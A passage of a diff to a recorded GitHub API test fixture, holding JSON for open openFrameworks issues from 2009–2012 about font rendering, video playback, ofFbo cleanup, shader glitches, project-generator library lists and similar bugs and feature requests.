?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-02-13T14:22:51Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T15:51:57Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=3299&p=17852#p17852","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","closed_issues":0,"due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/124","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"TTF type rendering in OF - fix fuzziness ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-13T14:15:25Z","state":"open","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"openframeworks","id":142866},"id":132373,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:14Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=1374","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/121","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":121,"html_url":"https://github.com/openframeworks/openFrameworks/issues/121","assignee":null,"title":"video: loop is not working unless you call play first","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-02-10T23:16:23Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":130269,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:30:49Z","body":"it would make sense to have an opengl stress test app, that can test some basic about wether or not someone has ARB support, how fast their systems are, etc. I can imagine that for 0.07, we'll be helping people debug shaders and FBOs, having some way to gauge what kind of system they are on and what it can take, will be helpful. \r\n\r\nHere's a simple test app from the Lua-AV folks that looks like a reasonable system: \r\n\r\nhttp://img191.imageshack.us/img191/1659/picture3po.png","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115","comments":0,"milestone":null,"number":115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/115","assignee":null,"title":"opengl stress test example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-01-12T02:56:21Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":111018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-28T14:02:04Z","body":"at the moment, we've got it like:\r\n\r\nofAppGlutWindow::ofAppGlutWindow(){\r\n\tfps\t\t\t\t= 60.0; //give a realistic starting value - win32 issues\r\n\tbFrameRateSet\t\t= false;\r\n}\r\n\r\nbut I personally prefer all apps to start with some kind of similar frame rate (ie, examples running really fast on mac, etc). see for example: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=16520&#p16520\r\n\r\nthis kind of thing leads to less \"cross-platform-ness\" and more confusion from beginners, no? \r\n\r\n- z\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107","comments":8,"milestone":null,"number":107,"html_url":"https://github.com/openframeworks/openFrameworks/issues/107","assignee":null,"title":"should we start all OF apps with a frame rate set?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2009-12-31T15:10:45Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":104702,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-27T15:47:45Z","body":"videoGrabber and serial listDevices should return a vector of strings apart from printing to console","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91","comments":4,"milestone":null,"number":91,"html_url":"https://github.com/openframeworks/openFrameworks/issues/91","assignee":null,"title":"listDevices should return a list of strings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2009-12-09T17:11:40Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":94898,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] - diff --git a/tests/ReplayData/PaginatedList.testIntIndexingInFirstPage.txt b/tests/ReplayData/PaginatedList.testIntIndexingInFirstPage.txt index ee62809a95..2286c170a5 100644 --- a/tests/ReplayData/PaginatedList.testIntIndexingInFirstPage.txt +++ b/tests/ReplayData/PaginatedList.testIntIndexingInFirstPage.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4927'), ('content-length', '52085'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280","assignee":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","assignee":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","gravatar_id":"837cfe96365c031130a46311eb11d86a","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277","assignee":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on 